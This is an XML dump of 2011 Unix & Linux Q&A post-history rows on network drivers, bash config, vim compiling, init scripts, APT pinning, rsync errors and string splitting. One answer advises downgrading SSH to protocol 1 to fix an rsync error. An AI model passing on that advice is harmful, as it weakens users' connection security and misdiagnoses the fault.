  <row Id="18316" PostHistoryTypeId="3" PostId="7817" RevisionGUID="69fda44b-39df-4004-9adc-60fa81c1fea5" CreationDate="2011-02-22T08:23:48.140" UserId="4812" Text="éubuntuàédriversàéwirelessàéwifià" />
  <row Id="18317" PostHistoryTypeId="2" PostId="7818" RevisionGUID="d06d79f9-964f-45ca-94cd-199cfbbde2c1" CreationDate="2011-02-22T08:40:35.110" UserId="688" Text="Maybe there's a better way, but I've used `lshw -class network` ([as root][1]) and it gives me this output:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;	  *-network               &#xD;&#xA;		   description: Ethernet interface&#xD;&#xA;		   product: 82566MM Gigabit Network Connection&#xD;&#xA;		   vendor: Intel Corporation&#xD;&#xA;		   physical id: 19&#xD;&#xA;		   bus info: pci@0000:00:19.0&#xD;&#xA;		   logical name: eth0&#xD;&#xA;		   version: 03&#xD;&#xA;		   serial: 00:a0:d1:a3:87:c8&#xD;&#xA;		   size: 1GB/s&#xD;&#xA;		   capacity: 1GB/s&#xD;&#xA;		   width: 32 bits&#xD;&#xA;		   clock: 33MHz&#xD;&#xA;		   capabilities: pm msi bus_master cap_list ethernet physical tp 10bt 10bt-fd 100bt 100bt-fd 1000bt-fd autonegotiation&#xD;&#xA;		   configuration: autonegotiation=on broadcast=yes driver=e1000e driverversion=1.0.2-k2 duplex=full firmware=0.3-0 ip=192.168.2.206 latency=0 link=yes multicast=yes port=twisted pair speed=1GB/s&#xD;&#xA;		   resources: irq:29 memory:fc300000-fc31ffff memory:fc325000-fc325fff ioport:1840(size=32)&#xD;&#xA;	  *-network&#xD;&#xA;		   description: Wireless interface&#xD;&#xA;		   product: PRO/Wireless 4965 AG or AGN [Kedron] Network Connection&#xD;&#xA;		   vendor: Intel Corporation&#xD;&#xA;		   physical id: 0&#xD;&#xA;		   bus info: pci@0000:06:00.0&#xD;&#xA;		   logical name: wlan0&#xD;&#xA;		   version: 61&#xD;&#xA;		   serial: 00:1d:e0:69:28:07&#xD;&#xA;		   width: 64 bits&#xD;&#xA;		   clock: 33MHz&#xD;&#xA;		   capabilities: pm msi pciexpress bus_master cap_list ethernet physical wireless&#xD;&#xA;		   configuration: broadcast=yes driver=iwlagn ip=192.168.0.104 latency=0 multicast=yes wireless=IEEE 802.11abgn&#xD;&#xA;		   resources: irq:31 memory:c8000000-c8001fff&#xD;&#xA;	  *-network DISABLED&#xD;&#xA;		   description: Ethernet interface&#xD;&#xA;		   physical id: 3&#xD;&#xA;		   logical name: vboxnet0&#xD;&#xA;		   serial: 0a:00:27:00:00:00&#xD;&#xA;		   capabilities: ethernet physical&#xD;&#xA;		   configuration: broadcast=yes multicast=yes&#xD;&#xA;&#xD;&#xA;You can grep for `driver` from that output. In my case, I get `iwlagn`, use that as thus `lsmod | grep iwlagn`, giving me:&#xD;&#xA;&#xD;&#xA;	iwlagn                 63559  0 &#xD;&#xA;	iwlcore                67702  1 iwlagn&#xD;&#xA;	mac80211              123574  2 iwlagn,iwlcore&#xD;&#xA;	cfg80211               87657  3 iwlagn,iwlcore,mac80211&#xD;&#xA;&#xD;&#xA;Don't ask me what each of those mean exactly :)&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/q/3063/" />
  <row Id="18318" PostHistoryTypeId="5" PostId="7818" RevisionGUID="f05e6a64-15a6-4ec1-ad9e-18f1320a18c8" CreationDate="2011-02-22T08:45:47.380" UserId="688" Comment="deleted 8 characters in body" Text="Maybe there's a better way, but I've used `lshw -class network` ([as root][1]) and it gives me this output:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;	  *-network               &#xD;&#xA;		   description: Ethernet interface&#xD;&#xA;		   product: 82566MM Gigabit Network Connection&#xD;&#xA;		   vendor: Intel Corporation&#xD;&#xA;		   physical id: 19&#xD;&#xA;		   bus info: pci@0000:00:19.0&#xD;&#xA;		   logical name: eth0&#xD;&#xA;		   version: 03&#xD;&#xA;		   serial: 00:a0:d1:a3:87:c8&#xD;&#xA;		   size: 1GB/s&#xD;&#xA;		   capacity: 1GB/s&#xD;&#xA;		   width: 32 bits&#xD;&#xA;		   clock: 33MHz&#xD;&#xA;		   capabilities: pm msi bus_master cap_list ethernet physical tp 10bt 10bt-fd 100bt 100bt-fd 1000bt-fd autonegotiation&#xD;&#xA;		   configuration: autonegotiation=on broadcast=yes driver=e1000e driverversion=1.0.2-k2 duplex=full firmware=0.3-0 ip=192.168.2.206 latency=0 link=yes multicast=yes port=twisted pair speed=1GB/s&#xD;&#xA;		   resources: irq:29 memory:fc300000-fc31ffff memory:fc325000-fc325fff ioport:1840(size=32)&#xD;&#xA;	  *-network&#xD;&#xA;		   description: Wireless interface&#xD;&#xA;		   product: PRO/Wireless 4965 AG or AGN [Kedron] Network Connection&#xD;&#xA;		   vendor: Intel Corporation&#xD;&#xA;		   physical id: 0&#xD;&#xA;		   bus info: pci@0000:06:00.0&#xD;&#xA;		   logical name: wlan0&#xD;&#xA;		   version: 61&#xD;&#xA;		   serial: 00:1d:e0:69:28:07&#xD;&#xA;		   width: 64 bits&#xD;&#xA;		   clock: 33MHz&#xD;&#xA;		   capabilities: pm msi pciexpress bus_master cap_list ethernet physical wireless&#xD;&#xA;		   configuration: broadcast=yes driver=iwlagn ip=192.168.0.104 latency=0 multicast=yes wireless=IEEE 802.11abgn&#xD;&#xA;		   resources: irq:31 memory:c8000000-c8001fff&#xD;&#xA;	  *-network DISABLED&#xD;&#xA;		   description: Ethernet interface&#xD;&#xA;		   physical id: 3&#xD;&#xA;		   logical name: vboxnet0&#xD;&#xA;		   serial: 0a:00:27:00:00:00&#xD;&#xA;		   capabilities: ethernet physical&#xD;&#xA;		   configuration: broadcast=yes multicast=yes&#xD;&#xA;&#xD;&#xA;You can grep for `driver` from that output. In my case, I get `iwlagn`, use that as thus `lsmod | grep iwlagn`, giving me:&#xD;&#xA;&#xD;&#xA;	iwlagn                 63559  0 &#xD;&#xA;	iwlcore                67702  1 iwlagn&#xD;&#xA;	mac80211              123574  2 iwlagn,iwlcore&#xD;&#xA;	cfg80211               87657  3 iwlagn,iwlcore,mac80211&#xD;&#xA;&#xD;&#xA;Don't ask me what each of those mean :)&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/q/3063/" />
  <row Id="18319" PostHistoryTypeId="2" PostId="7819" RevisionGUID="2996bcfd-7178-4d0d-a8fb-3e0b96249f01" CreationDate="2011-02-22T08:54:01.267" UserId="4973" Text="Some of the mirrors out there might have stale files. This happened to me recently, and it was in also tied to the caching server I'm using (apt-cacher-ng) which tries to save bandwidth by redirecting the repositories for same archive to a single entity (in my case if was a Hungarian mirror). Direct updates through German mirror worked ok, for example. Try changing the mirror you're using. In case you're using apt-cacher-ng, you'll need to do something in the line of changing the following file's contents:&#xD;&#xA;&#xD;&#xA;/etc/apt-cacher-ng/backends_debian&#xD;&#xA;/etc/apt-cacher-ng/backends_debvol&#xD;&#xA;&#xD;&#xA;After that you should also restart apt-cacher-ng for changes to take effect." />
  <row Id="18320" PostHistoryTypeId="2" PostId="7820" RevisionGUID="c6651b54-7c52-4f75-94c7-f9b48405b4b6" CreationDate="2011-02-22T09:03:57.490" UserId="4974" Text="As others have explained, you are running those scripts in a  new shell that dies after they've run. You need to source your files with either &#xD;&#xA;&#xD;&#xA;    . .topic1rc&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    source .topic1rc&#xD;&#xA;&#xD;&#xA;You can also create a slightly more advanced solution that won't require you to edit your .bashrc if you want to add more *chunks* in the future.&#xD;&#xA;&#xD;&#xA;You can put all your configuration files under a directory, say `~/.bash.d`, and then have this as the only contents of your `.bashrc` file:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    if [[ -d ~/.bash.d ]]&#xD;&#xA;    then&#xD;&#xA;        for conf_file in ~/.bash.d/*&#xD;&#xA;        do&#xD;&#xA;            if [[ -f $conf_file ]]&#xD;&#xA;            then&#xD;&#xA;                source &quot;$conf_file&quot;&#xD;&#xA;            fi&#xD;&#xA;        done&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This way all your bash config files under .bash.d are sourced and you can control the order in which this happens since they will be sourced in alphabetical order of the file name.&#xD;&#xA;" />
  <row Id="18321" PostHistoryTypeId="5" PostId="7818" RevisionGUID="1303d3c5-ac80-417b-83d8-4184053e3235" CreationDate="2011-02-22T09:39:01.117" UserId="688" Comment="deleted 28 characters in body" Text="Maybe there's a better way, but I've used `lshw -class network` ([as root][1]) and it gives me this output:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;	  *-network               &#xD;&#xA;		   description: Ethernet interface&#xD;&#xA;		   product: 82566MM Gigabit Network Connection&#xD;&#xA;		   vendor: Intel Corporation&#xD;&#xA;		   physical id: 19&#xD;&#xA;		   bus info: pci@0000:00:19.0&#xD;&#xA;		   logical name: eth0&#xD;&#xA;		   version: 03&#xD;&#xA;		   serial: 00:a0:d1:a3:87:c8&#xD;&#xA;		   size: 1GB/s&#xD;&#xA;		   capacity: 1GB/s&#xD;&#xA;		   width: 32 bits&#xD;&#xA;		   clock: 33MHz&#xD;&#xA;		   capabilities: pm msi bus_master cap_list ethernet physical tp 10bt 10bt-fd 100bt 100bt-fd 1000bt-fd autonegotiation&#xD;&#xA;		   configuration: autonegotiation=on broadcast=yes driver=e1000e driverversion=1.0.2-k2 duplex=full firmware=0.3-0 ip=192.168.2.206 latency=0 link=yes multicast=yes port=twisted pair speed=1GB/s&#xD;&#xA;		   resources: irq:29 memory:fc300000-fc31ffff memory:fc325000-fc325fff ioport:1840(size=32)&#xD;&#xA;	  *-network&#xD;&#xA;		   description: Wireless interface&#xD;&#xA;		   product: PRO/Wireless 4965 AG or AGN [Kedron] Network Connection&#xD;&#xA;		   vendor: Intel Corporation&#xD;&#xA;		   physical id: 0&#xD;&#xA;		   bus info: pci@0000:06:00.0&#xD;&#xA;		   logical name: wlan0&#xD;&#xA;		   version: 61&#xD;&#xA;		   serial: 00:1d:e0:69:28:07&#xD;&#xA;		   width: 64 bits&#xD;&#xA;		   clock: 33MHz&#xD;&#xA;		   capabilities: pm msi pciexpress bus_master cap_list ethernet physical wireless&#xD;&#xA;		   configuration: broadcast=yes driver=iwlagn ip=192.168.0.104 latency=0 multicast=yes wireless=IEEE 802.11abgn&#xD;&#xA;		   resources: irq:31 memory:c8000000-c8001fff&#xD;&#xA;	  *-network DISABLED&#xD;&#xA;		   description: Ethernet interface&#xD;&#xA;		   physical id: 3&#xD;&#xA;		   logical name: vboxnet0&#xD;&#xA;		   serial: 0a:00:27:00:00:00&#xD;&#xA;		   capabilities: ethernet physical&#xD;&#xA;		   configuration: broadcast=yes multicast=yes&#xD;&#xA;&#xD;&#xA;You can grep for `driver` from that output. In my case I use `lsmod | grep iwlagn`, giving me:&#xD;&#xA;&#xD;&#xA;	iwlagn                 63559  0 &#xD;&#xA;	iwlcore                67702  1 iwlagn&#xD;&#xA;	mac80211              123574  2 iwlagn,iwlcore&#xD;&#xA;	cfg80211               87657  3 iwlagn,iwlcore,mac80211&#xD;&#xA;&#xD;&#xA;Don't ask me what each of those mean :)&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/q/3063/" />
  <row Id="18322" PostHistoryTypeId="2" PostId="7821" RevisionGUID="8f55bc58-db72-42df-8f3e-c2544fe47e55" CreationDate="2011-02-22T09:43:30.517" UserId="4976" Text="Don't ask why, but is there a Unix command that takes no arguments?&#xD;&#xA;" />
  <row Id="18323" PostHistoryTypeId="1" PostId="7821" RevisionGUID="8f55bc58-db72-42df-8f3e-c2544fe47e55" CreationDate="2011-02-22T09:43:30.517" UserId="4976" Text="Unix command that takes no arguments" />
  <row Id="18324" PostHistoryTypeId="3" PostId="7821" RevisionGUID="8f55bc58-db72-42df-8f3e-c2544fe47e55" CreationDate="2011-02-22T09:43:30.517" UserId="4976" Text="éunixà" />
  <row Id="18325" PostHistoryTypeId="2" PostId="7822" RevisionGUID="f1e8b4ac-5f3c-4e27-9b61-d03271e0f6ca" CreationDate="2011-02-22T09:53:27.380" UserId="3169" Text="`true` and `false` are two examples.&#xD;&#xA;&#xD;&#xA;Or did you mean commands that take no options?  I can't think of any, but the original Unix version of `echo` didn't take any options." />
  <row Id="18326" PostHistoryTypeId="5" PostId="7822" RevisionGUID="cf54f621-f3e0-40c3-abf1-e5e4c4683bb5" CreationDate="2011-02-22T09:59:10.880" UserId="3169" Comment="added 126 characters in body" Text="`true` and `false` are two examples.&#xD;&#xA;&#xD;&#xA;Or did you mean commands that take no options?  I can't think of any, but the original Unix version of `echo` didn't take any options.  There's even a [story][1] about it how it came to take options.&#xD;&#xA;&#xD;&#xA;  [1]: http://everything2.com/title/The+UNIX+and+the+Echo" />
  <row Id="18327" PostHistoryTypeId="2" PostId="7823" RevisionGUID="1e63f478-003c-4c3d-a80c-f975f0235b6a" CreationDate="2011-02-22T10:45:35.827" UserId="4793" Text="New to `vim` and and I want to be able to compile code from within `vim` without running a new terminal and calling the compiler.&#xD;&#xA;&#xD;&#xA;How do I go about doing this? Note that this requirement is not restricted to `gcc` only, I sometimes need to call `python` also on the current script I am working on, so you get the idea..." />
  <row Id="18328" PostHistoryTypeId="1" PostId="7823" RevisionGUID="1e63f478-003c-4c3d-a80c-f975f0235b6a" CreationDate="2011-02-22T10:45:35.827" UserId="4793" Text="Compiling code from vim" />
  <row Id="18329" PostHistoryTypeId="3" PostId="7823" RevisionGUID="1e63f478-003c-4c3d-a80c-f975f0235b6a" CreationDate="2011-02-22T10:45:35.827" UserId="4793" Text="évimà" />
  <row Id="18330" PostHistoryTypeId="2" PostId="7824" RevisionGUID="46b7de1b-b723-46a1-82e7-d69e58f9197f" CreationDate="2011-02-22T10:49:13.170" UserId="2000" Text="Try ffmpeg with something like this:&#xD;&#xA;&#xD;&#xA;`ffmpeg -vcodec mpeg4 -r 10 -g 300 -vd x11:0,0 -s 1280x1024&#xD;&#xA;http://localhost:8090/feed1.ffm`&#xD;&#xA;&#xD;&#xA;If it's not working right with the exact settings from the example, see the ffmpeg webpage and documentation for more details: [ffmpeg.org][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ffmpeg.org/" />
  <row Id="18331" PostHistoryTypeId="2" PostId="7825" RevisionGUID="d4193258-2df2-43a9-9023-5e6c4d0cf61c" CreationDate="2011-02-22T10:56:49.917" UserId="3959" Text="Write a `Makefile`, then you can simply:&#xD;&#xA;&#xD;&#xA;    :make&#xD;&#xA;&#xD;&#xA;from inside vim. And if compilation fails:&#xD;&#xA;&#xD;&#xA;    :copen&#xD;&#xA;&#xD;&#xA;will show you warning and errors. Selecting them will take you to the appropriate file and line." />
  <row Id="18332" PostHistoryTypeId="2" PostId="7826" RevisionGUID="eb56db6c-11fe-4658-9eef-f3e388becd21" CreationDate="2011-02-22T11:12:58.240" UserId="2977" Text="Another typical way to start something at boot on many [*nix](http://unix.stackexchange.com/questions/2342/why-is-there-a-when-there-is-mention-of-unix-throughout-the-internet) platforms is (or was, I think this may be starting to loose favor -- see [alternatives](http://en.wikipedia.org/wiki/Init#Other_styles)) to put scripts in a directory which, depending on the particular OS/distribution, might be something like `/etc/rc2.d`, `/etc/rc3.d`, `/etc/rc/rc3.d`, or the like (different distributions use different &quot;run levels&quot;, which is where the number comes from -- see the link below).  Frequently, these are also symlinked either into or at files from `/etc/init.d`, for more easy execution by hand, and they take a &quot;start&quot; and/or &quot;stop&quot; argument in most *nix platforms, and also &quot;status&quot;, &quot;restart&quot;, etc. on many linux platforms.  On such systems, these are generally executed by `init`, via `inittab` -- see [SysV init scripts](http://en.wikipedia.org/wiki/Init#SysV-style).  On *BSD systems, there's a [different style of a similar concept](http://en.wikipedia.org/wiki/Init#BSD-style), and, as linked above, there are a bunch of variations.&#xD;&#xA;&#xD;&#xA;In the above style, scripts in, e.g., `/etc/rc2.d` (for a system with a default runlevel of 2) typically start with either the letter `S` or `K`, and then a two digit number.  The scripts that start with S are run in [lexicographic order](http://en.wikipedia.org/wiki/Lexicographical_order) (which translates, generally, into numeric order) when booting up, into level 2, with an argument of &quot;start&quot;.  When shutting down, the scripts prefixed with K are similarly run, with an argument of &quot;stop&quot;.&#xD;&#xA;&#xD;&#xA;The files in `/etc/init.d` (or sometimes `/etc/rc/init.d`, or other variations) are named without the S and K prefixes, or the numeric numbers.  Typically, the files in the various /etc/rc?.d directories symlink to the real files, often referenced via the relative path prefix `../init.d/`.&#xD;&#xA;&#xD;&#xA;Various utilities exist on various systems to manage these, as well, turning things on and off, etc.  On IRIX (since IRIX 4, at least, if my memory serves), it used to be a tool called `chkconfig`, which wouldn't manipulate the links, but which would be checked by the scripts to see if they should run or not.  I *think* IRIX was the first OS to have something like this.  Later, in some version of RedHat that I used to have, there was a tool by the same name, but it behaved a bit differently, actually managing the symlinks -- see [`chkconfig(8)`](http://linuxcommand.org/man_pages/chkconfig8.html) for what I think is likely the same (or very similar) version as I used then.&#xD;&#xA;&#xD;&#xA;On an Ubuntu 9.04 system I have access to, it looks like `update-rc.d` is the script to run.&#xD;&#xA;&#xD;&#xA;If you're on a system that uses inittab, you can also add things directly there -- which can be especially useful for things that you want to run not just once at boot, but to have actively monitored (by `init`) to `respawn` if they ever crash or terminate.  See the output of `man inittab` (if you have it) on your system for additional information.  And/or `man init`, etc.  There are lots of different flavors, and I'm not (currently) terribly familiar with either Debian or Ubuntu, so I'm not sure exactly what to point you at, but hopefully this gives you some starting points.&#xD;&#xA;&#xD;&#xA;the @reboot section in crontob is new to me, but also seems like it might be a useful option -- though I would suggest init scripts as being preferable for many things.  But see `man 5 crontab` for much more info on what you can put in your cron configuration, and how it can be told to run things, and when (including, assuming a Vixie/ISC version of cron [see [cron history](http://en.wikipedia.org/wiki/Cron#History)] with `@reboot`).&#xD;&#xA;&#xD;&#xA;I hope that's helpful." />
  <row Id="18333" PostHistoryTypeId="5" PostId="7773" RevisionGUID="7c0ec4d5-e605-47bb-ba5e-88f0b54fcb9d" CreationDate="2011-02-22T11:15:17.370" UserId="688" Comment="clarity" Text="Running `cat /etc/apt/apt.conf` gives:&#xD;&#xA;&#xD;&#xA;    APT::Default-Release &quot;squeeze&quot;;&#xD;&#xA;&#xD;&#xA;I thought doing that would disallow the command `apt-get install wajig` to work, if a newer version was available anywhere but **Squeeze**.&#xD;&#xA;&#xD;&#xA;How do I set up APT so that such a version would require me to specify the repository name in order to install it (e.g. `apt-get --target-release testing wajig`)?&#xD;&#xA;&#xD;&#xA;[**update**] I wasn't aware that my question wasn't so clear. I want this to be an archive-wide setting (i.e. it should apply to each package in the Squeeze archive), not to some specific package." />
  <row Id="18334" PostHistoryTypeId="2" PostId="7827" RevisionGUID="2aa8ce72-b7b2-415d-bd94-464d464e938b" CreationDate="2011-02-22T11:17:54.633" UserId="3235" Text="How can I  split a line matching a known pattern with a single character delimiter into an array, e.g.  convert &quot;token1;token2;token3;token4&quot; into a[0] = token1...a[3]=token4. ?&#xD;&#xA;" />
  <row Id="18335" PostHistoryTypeId="1" PostId="7827" RevisionGUID="2aa8ce72-b7b2-415d-bd94-464d464e938b" CreationDate="2011-02-22T11:17:54.633" UserId="3235" Text="Extracting tokens from a line of text" />
  <row Id="18336" PostHistoryTypeId="3" PostId="7827" RevisionGUID="2aa8ce72-b7b2-415d-bd94-464d464e938b" CreationDate="2011-02-22T11:17:54.633" UserId="3235" Text="égrepàésedàéawkàéregexà" />
  <row Id="18337" PostHistoryTypeId="25" PostId="7817" RevisionGUID="2eab7e05-0938-456c-a656-2a3bfb18368d" CreationDate="2011-02-22T11:23:15.357" Comment="http://twitter.com/#!/StackUnix/status/40008713859366912" />
  <row Id="18338" PostHistoryTypeId="2" PostId="7828" RevisionGUID="7f9f7645-ab1e-44c1-add8-3cf207c3d0f6" CreationDate="2011-02-22T11:24:27.070" UserId="4977" Text="Hi,&#xD;&#xA;&#xD;&#xA;I am trying to backup my linux webserver to our local windows sbs 2003 server in the office. I have set up ssh and cwrsync on the windows server and have confirmed that the linux server can reach the windows server via the command:&#xD;&#xA;&#xD;&#xA;ssh RemoteUser@xxx.xxx.xxx.xxx&#xD;&#xA;&#xD;&#xA;It asks for a password and connects fine. However when I run this command to start the backup:&#xD;&#xA;&#xD;&#xA;*rsync -avz -e ssh home/account/public_html/some/small/directory/ remote_user@xxx.xxx.xxx.xxx:/cygdrive/c/backup/destination/directory/*&#xD;&#xA;&#xD;&#xA;I get this error after entering the password:&#xD;&#xA;&#xD;&#xA;protocol version mismatch -- is your shell clean?&#xD;&#xA;&#xD;&#xA;and then it dies.&#xD;&#xA;&#xD;&#xA;Has anyone got any ideas?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;Alex" />
  <row Id="18339" PostHistoryTypeId="1" PostId="7828" RevisionGUID="7f9f7645-ab1e-44c1-add8-3cf207c3d0f6" CreationDate="2011-02-22T11:24:27.070" UserId="4977" Text="rsync via ssh from linux to windows sbs 2003 protocol mismatch" />
  <row Id="18340" PostHistoryTypeId="3" PostId="7828" RevisionGUID="7f9f7645-ab1e-44c1-add8-3cf207c3d0f6" CreationDate="2011-02-22T11:24:27.070" UserId="4977" Text="élinuxàésshàéwindowsàérsyncà" />
  <row Id="18341" PostHistoryTypeId="5" PostId="7801" RevisionGUID="09a61a2a-1ab6-46bd-b028-332c829d0360" CreationDate="2011-02-22T11:30:17.347" UserId="688" Comment="expand the answer; added 95 characters in body; added 4 characters in body" Text="Try putting something like this in your &quot;**/etc/apt/preferences**&quot;:&#xD;&#xA;&#xD;&#xA;    Package: *&#xD;&#xA;    Pin: release n=squeeze&#xD;&#xA;    Pin-Priority: 900&#xD;&#xA;&#xD;&#xA;    Package: *&#xD;&#xA;    Pin: release n=testing&#xD;&#xA;    Pin-Priority: 90&#xD;&#xA;&#xD;&#xA;A `Pin-Priority` &lt; 100 means you need to explicitly specify the release, and &gt; 100 is installed by default. See [this Debian wiki page][1] for more.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.debian.org/AptPreferences" />
  <row Id="18342" PostHistoryTypeId="2" PostId="7829" RevisionGUID="e9993f40-2939-428c-aeae-fd1562ed19b3" CreationDate="2011-02-22T11:36:06.557" UserId="2000" Text="In your /etc/ssh/ssh.conf or if you have your own ssh.conf in your home folder (~/.ssh/...) try to change the protocol version from 2 to 1 or whatever protocol is running on your windows machine.&#xD;&#xA;For more details see man ssh and man ssh.conf" />
  <row Id="18343" PostHistoryTypeId="5" PostId="7827" RevisionGUID="8f4ba675-9aed-4518-9434-acfe3369e446" CreationDate="2011-02-22T11:39:52.673" UserId="3235" Comment="added 37 characters in body; added 8 characters in body" Text="Using bash scripting and grep/awk/sed, how can I  split a line matching a known pattern with a single character delimiter into an array, e.g.  convert &quot;token1;token2;token3;token4&quot; into a[0] = token1...a[3]=token4. ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18344" PostHistoryTypeId="2" PostId="7830" RevisionGUID="30ebb58f-42d7-4418-8793-2e058dcf2bf4" CreationDate="2011-02-22T11:52:08.427" UserId="4595" Text="This error message is explained in [rsync's FAQ][1].&#xD;&#xA;&#xD;&#xA;It means that some program is writing something when the ssh connection is established (and it breaks rsync).&#xD;&#xA;&#xD;&#xA;  [1]: http://samba.anu.edu.au/rsync/FAQ.html#3" />
  <row Id="18345" PostHistoryTypeId="2" PostId="7831" RevisionGUID="44632879-e0a7-43e7-bacd-e1b47cc35ee6" CreationDate="2011-02-22T11:56:09.360" UserId="3879" Text="    $ str=&quot;token1;token2;token3;token4&quot;&#xD;&#xA;    $ echo $str&#xD;&#xA;    token1;token2;token3;token4&#xD;&#xA;    $ echo $str | tr ';' ' '&#xD;&#xA;    token1 token2 token3 token4&#xD;&#xA;    $ arr=( $(echo $str | tr ';' ' ') ) # Populate the tokens into an array&#xD;&#xA;    $ echo ${arr[0]}  # Access items by index&#xD;&#xA;    token1&#xD;&#xA;    $ echo ${arr[2]}&#xD;&#xA;    token3&#xD;&#xA;    $ echo ${arr[1]}&#xD;&#xA;    token2&#xD;&#xA;    $ echo ${#arr[@]}  # Length of the array&#xD;&#xA;    4&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18346" PostHistoryTypeId="2" PostId="7832" RevisionGUID="59966eac-6b89-45c0-b267-cd4da004b36c" CreationDate="2011-02-22T12:09:13.087" UserId="2343" Text="bash (IFS Internal Field Seperator)&#xD;&#xA;&#xD;&#xA;    # ==============&#xD;&#xA;      A='token0:token1:token2.y   token2.z '&#xD;&#xA;      echo normal. $A&#xD;&#xA;    # Save IFS; Change IFS to &quot;:&quot; &#xD;&#xA;      SFI=$IFS; IFS=:     ##### This is the important bit part 1 &#xD;&#xA;      echo changed $A&#xD;&#xA;      B=($A)&#xD;&#xA;      echo B...... $B&#xD;&#xA;      echo B[0]... ${B[0]}&#xD;&#xA;      echo B[1]... ${B[1]}&#xD;&#xA;      echo B[2]... ${B[2]}&#xD;&#xA;      echo B[@]... ${B[@]}&#xD;&#xA;    # Reset the original IFS&#xD;&#xA;      IFS=$SFI             ##### Important bit part 2&#xD;&#xA;      echo normal. $A&#xD;&#xA;    &#xD;&#xA;    # Output&#xD;&#xA;    normal. token0:token1:token2.y token2.z&#xD;&#xA;    changed token0 token1 token2.y   token2.z &#xD;&#xA;    B...... token0&#xD;&#xA;    B[0]... token0&#xD;&#xA;    B[1]... token1&#xD;&#xA;    B[2]... token2.y   token2.z &#xD;&#xA;    B[@]... token0 token1 token2.y   token2.z &#xD;&#xA;    normal. token0:token1:token2.y token2.z&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18347" PostHistoryTypeId="2" PostId="7833" RevisionGUID="9273d886-99fb-419d-94f9-b61f81d7b595" CreationDate="2011-02-22T12:14:43.373" UserId="1499" Text="Is there any way I can get the current 15 minute interval using the date command or similar ?&#xD;&#xA;&#xD;&#xA;e.g. something like date `%Y.%m.%d %H:%M`  will give me 2011.02.22 10:19 , I need something that yields 2011.02.22 10:15 in the time span from 10:15 to 10:29. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18348" PostHistoryTypeId="1" PostId="7833" RevisionGUID="9273d886-99fb-419d-94f9-b61f81d7b595" CreationDate="2011-02-22T12:14:43.373" UserId="1499" Text="date, get current 15 minute interval" />
  <row Id="18349" PostHistoryTypeId="3" PostId="7833" RevisionGUID="9273d886-99fb-419d-94f9-b61f81d7b595" CreationDate="2011-02-22T12:14:43.373" UserId="1499" Text="écommandölineàédateà" />
  <row Id="18350" PostHistoryTypeId="5" PostId="7832" RevisionGUID="fabb9ba8-c6df-41d4-bb49-70a2aac8eb64" CreationDate="2011-02-22T12:15:09.363" UserId="2343" Comment="added 67 characters in body" Text="bash (IFS Internal Field Seperator)&#xD;&#xA;&#xD;&#xA;    # ==============&#xD;&#xA;      A='token0:token1:token2.y   token2.z '&#xD;&#xA;      echo normal. $A&#xD;&#xA;    # Save IFS; Change IFS to &quot;:&quot; &#xD;&#xA;      SFI=$IFS; IFS=:     ##### This is the important bit part 1 &#xD;&#xA;      echo changed $A&#xD;&#xA;      B=($A)  ### this is now parsed at :  (not at the default IFS whitespace) &#xD;&#xA;      echo B...... $B&#xD;&#xA;      echo B[0]... ${B[0]}&#xD;&#xA;      echo B[1]... ${B[1]}&#xD;&#xA;      echo B[2]... ${B[2]}&#xD;&#xA;      echo B[@]... ${B[@]}&#xD;&#xA;    # Reset the original IFS&#xD;&#xA;      IFS=$SFI             ##### Important bit part 2&#xD;&#xA;      echo normal. $A&#xD;&#xA;    &#xD;&#xA;    # Output&#xD;&#xA;    normal. token0:token1:token2.y token2.z&#xD;&#xA;    changed token0 token1 token2.y   token2.z &#xD;&#xA;    B...... token0&#xD;&#xA;    B[0]... token0&#xD;&#xA;    B[1]... token1&#xD;&#xA;    B[2]... token2.y   token2.z &#xD;&#xA;    B[@]... token0 token1 token2.y   token2.z &#xD;&#xA;    normal. token0:token1:token2.y token2.z&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18351" PostHistoryTypeId="2" PostId="7834" RevisionGUID="7461704a-1841-401e-b7b5-624be5d4daf9" CreationDate="2011-02-22T12:17:56.087" UserId="4979" Text="I create an alias as my current user in the bash shell, which I can see using the alias command.&#xD;&#xA;&#xD;&#xA;When I switch user without the '-'&#xD;&#xA;&#xD;&#xA;i.e.&#xD;&#xA;su testuser&#xD;&#xA;&#xD;&#xA;the alias is not carried into the new users environment.&#xD;&#xA;&#xD;&#xA;Any idea why ???&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="18352" PostHistoryTypeId="1" PostId="7834" RevisionGUID="7461704a-1841-401e-b7b5-624be5d4daf9" CreationDate="2011-02-22T12:17:56.087" UserId="4979" Text="su and aliases confusion" />
  <row Id="18353" PostHistoryTypeId="3" PostId="7834" RevisionGUID="7461704a-1841-401e-b7b5-624be5d4daf9" CreationDate="2011-02-22T12:17:56.087" UserId="4979" Text="élinuxàébashàéshellà" />
